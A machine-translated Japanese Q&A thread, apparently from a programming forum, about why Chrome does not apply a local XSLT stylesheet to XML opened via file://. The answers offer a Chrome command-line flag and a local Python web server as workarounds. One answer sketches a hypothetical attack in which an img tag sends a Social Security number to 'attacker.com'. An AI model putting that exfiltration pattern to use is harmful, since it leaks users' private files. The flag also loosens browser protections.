私はxsltを検討していて、w3schoolsの例を使用してテストを開始しました。
ただし、xmlおよびxslをファイルに保存してローカルで開くと、chromeはxsl変換を実行しません。空白のページが表示されるだけです。
<?xml-stylesheet type="text/xsl" href="style.xsl">
タグをxmlドキュメントに追加しました。Firefoxは見た目通りにレンダリングします。また、Webサーバーでファイルを見ると、chromeは見た目通りにファイルを表示します。
chrome=リンクがローカルのときにスタイルシート情報を見つけるのに問題があるのですか?hrefをfile:///C:/xsl/style.xsl
に変更しても違いはありませんでした。
更新:これはセキュリティポリシーの副作用のようです file:/// *を同じOriginとして扱わないため これにより、次のエラーがコンソールに表示されます。
URL file:/// C:/xsl-rpg/style.xslをURL file:/// C:/xsl-rpg/data.xmlを持つフレームからロードしようとする安全でない試み。ドメイン、プロトコル、およびポートは一致する必要があります。
短い答えは、「いいえ、 ブラウザの多様なセット そこの1つを使用してください」です。
これが機能しない理由は、セキュリティ上の懸念によるもので、Chromeは議論の余地のある方法で対処しています[1][2][3][4]、XMLファイルが同じディレクトリ内のローカルXSLTファイルにアクセスするのをブロックすることにより、HTMLファイルは同じディレクトリ内の.CSSファイルに問題なくアクセスできます。
上記の問題全体にわたって、ユーザーはより明確なエラーメッセージ(ドメイン、プロトコル、ポートが実際に一致するため)を要求するか、少なくともスタイリングなしでXMLを表示します。 Chrome開発者はこれらのリクエストを無視しました。
Chromeのコマンドラインフラグを使用して、これをローカルで行うことができます。
特定のフラグは--allow-file-access-from-files
です
OS Xの場合:Terminal.appから/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
を実行します
Windowsの場合:コマンドプロンプトから%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
を実行します
注:現在実行中の場合は、おそらくChromeを終了する必要があります。
あなたがOPに固執したい場合、答えはいいえです(他の人が指摘したように)が、問題を解決する1つの方法は、クロムでhttp経由で簡単なウェブサーバーを実行し、ファイルを開くことです。 python 2.xがインストールされている場合、次のように入力してWebサーバーを実行できます。
python -m SimpleHTTPServer
またはpython 3.x:
python3 -m http.server
クロムのhttp://localhost:8000/yourfile.xml
を使用してファイルを開きます。うまくいけば、あなたはあなたの仕事を終わらせたいだけで、file://
を使用してファイルを開かなければならないことは重要ではありません
Xslファイルに従ってxmlを表示する私の回避策
ヘッダーを持つsome_file.xmlがあるとします:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
https://some-site.com/Common.xsl
をダウンロードし、some_file.xml
の横に配置しますhref="https://some-site.com/Common.xsl"
からhref="http://localhost:8001/Common.xsl"
に変更しますpython3 -m http.server 8001
http://localhost:8001/some_file.xml
Chromeバグページで少し解読しました-彼らは問題が何であるか、そして彼らが誰も壊さないのではなく、誰も壊すことを選んだ理由を説明しないことに非常に熱心です。
私のハードドライブにXMLファイル-somewhere-があるとします:
C:\ Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml
そして、悪意のあるエンティティ-何らかの方法で-悪意のあるXmlファイルをコンピュータにドロップすることができました。例:
C:\ Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml
想像してくださいTrojanVirusWorm.xmlには、スタイルシート処理命令([〜#〜] pi [〜#〜]):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
その後、攻撃者はブラウザにローカルに保存されたtrojanVirusWorm.xml
ファイル。
どうやらXMLファイルが(XSDファイルによって変換されるのではなく)XSDファイルの内容をreadできる方法があります:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
XMLファイルがスタイルシートファイルを読み取る方法がわかりません。しかし、Chromeチームは、それが危険であり、解決できないことを保証します。
他のすべてのブラウザがそれを解決しました。彼らはそれを解決しました それは問題ではないからです 。